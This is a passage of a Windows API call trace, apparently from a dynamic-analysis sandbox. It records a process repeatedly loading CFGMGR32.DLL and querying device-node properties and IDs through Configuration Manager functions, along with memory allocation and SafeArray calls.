lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0232.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0232.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0232.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0232.948] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0232.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0232.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0232.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0232.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0232.949] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0232.949] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0232.950] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x3a, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0232.950] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0232.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6bb3b0a6, dwHighDateTime=0x1d9eb0c)) [0232.950] SetEvent (hEvent=0x248) returned 1 [0232.953] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0232.953] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0232.954] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0232.954] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0232.954] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0232.954] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0232.954] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0232.954] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0232.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0232.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0232.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0232.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0232.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0232.955] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.102] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.102] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.102] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0233.102] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3a, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0233.103] malloc (_Size=0x48) returned 0x196ef0fc0d0 [0233.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6bcb8615, dwHighDateTime=0x1d9eb0c)) [0233.104] SetEvent (hEvent=0x248) returned 1 [0233.109] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.109] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.113] malloc (_Size=0x18) returned 0x196ef0d20e0 [0233.113] CM_Get_Device_IDA (in: dnDevInst=0x3b, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\SYSTEM\\0000") returned 0x0 [0233.113] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0233.113] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6bcde9fe, dwHighDateTime=0x1d9eb0c)) [0233.113] SetEvent (hEvent=0x248) returned 1 [0233.117] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.117] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.120] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.120] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.120] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.120] malloc (_Size=0x18) returned 0x196ef0d1c40 [0233.120] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0233.121] malloc (_Size=0x1a) returned 0x196ef0f9a60 [0233.121] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9a60, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9a60, pulLength=0x67117d608) returned 0x0 [0233.121] free (_Block=0x196ef0f9a60) [0233.121] malloc (_Size=0x48) returned 0x196ef0fb8b0 [0233.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6bcde9fe, dwHighDateTime=0x1d9eb0c)) [0233.121] SetEvent (hEvent=0x248) returned 1 [0233.124] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0233.124] SafeArrayPutElement (psa=0x196ef1f2930, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0233.124] free (_Block=0x196ef0d1ea0) [0233.124] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856de0 [0233.124] SafeArrayGetDim (psa=0x196ef1f2930) returned 0x1 [0233.124] SafeArrayGetLBound (in: psa=0x196ef1f2930, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0233.124] SafeArrayGetUBound (in: psa=0x196ef1f2930, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0233.124] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0233.124] SafeArrayGetDim (psa=0x196ef1f2930) returned 0x1 [0233.124] SafeArrayGetUBound (in: psa=0x196ef1f2930, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0233.124] SafeArrayGetElemsize (psa=0x196ef1f2930) returned 0x8 [0233.125] SafeArrayGetElement (in: psa=0x196ef1f2930, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0233.125] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225f90, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0233.126] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0233.126] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856de0) returned 1 [0233.127] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.127] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.130] malloc (_Size=0x18) returned 0x196ef0d1be0 [0233.130] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0233.130] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0233.130] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6bd04bbf, dwHighDateTime=0x1d9eb0c)) [0233.131] SetEvent (hEvent=0x248) returned 1 [0233.133] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.133] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.137] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0233.137] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0233.140] malloc (_Size=0x48) returned 0x196ef0fc120 [0233.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6bd04bbf, dwHighDateTime=0x1d9eb0c)) [0233.140] SetEvent (hEvent=0x248) returned 1 [0233.144] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.144] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.144] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.144] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.144] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.144] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.145] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.146] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.147] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.147] malloc (_Size=0x18) returned 0x196ef0d1e60 [0233.147] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0233.147] malloc (_Size=0x48) returned 0x196ef0fbef0 [0233.147] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6bd2ad55, dwHighDateTime=0x1d9eb0c)) [0233.148] SetEvent (hEvent=0x248) returned 1 [0233.194] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.194] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0233.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0233.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0233.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0233.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0233.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0233.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0233.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0233.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0233.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0233.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0233.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0233.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0233.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0233.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0233.197] malloc (_Size=0x18) returned 0x196ef0d2000 [0233.198] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3b, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0233.198] malloc (_Size=0x48) returned 0x196ef0fbef0 [0233.198] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6bd9d4a5, dwHighDateTime=0x1d9eb0c)) [0233.198] SetEvent (hEvent=0x248) returned 1 [0233.203] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0233.203] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0233.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0233.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0233.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0233.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0233.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0233.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0233.204] 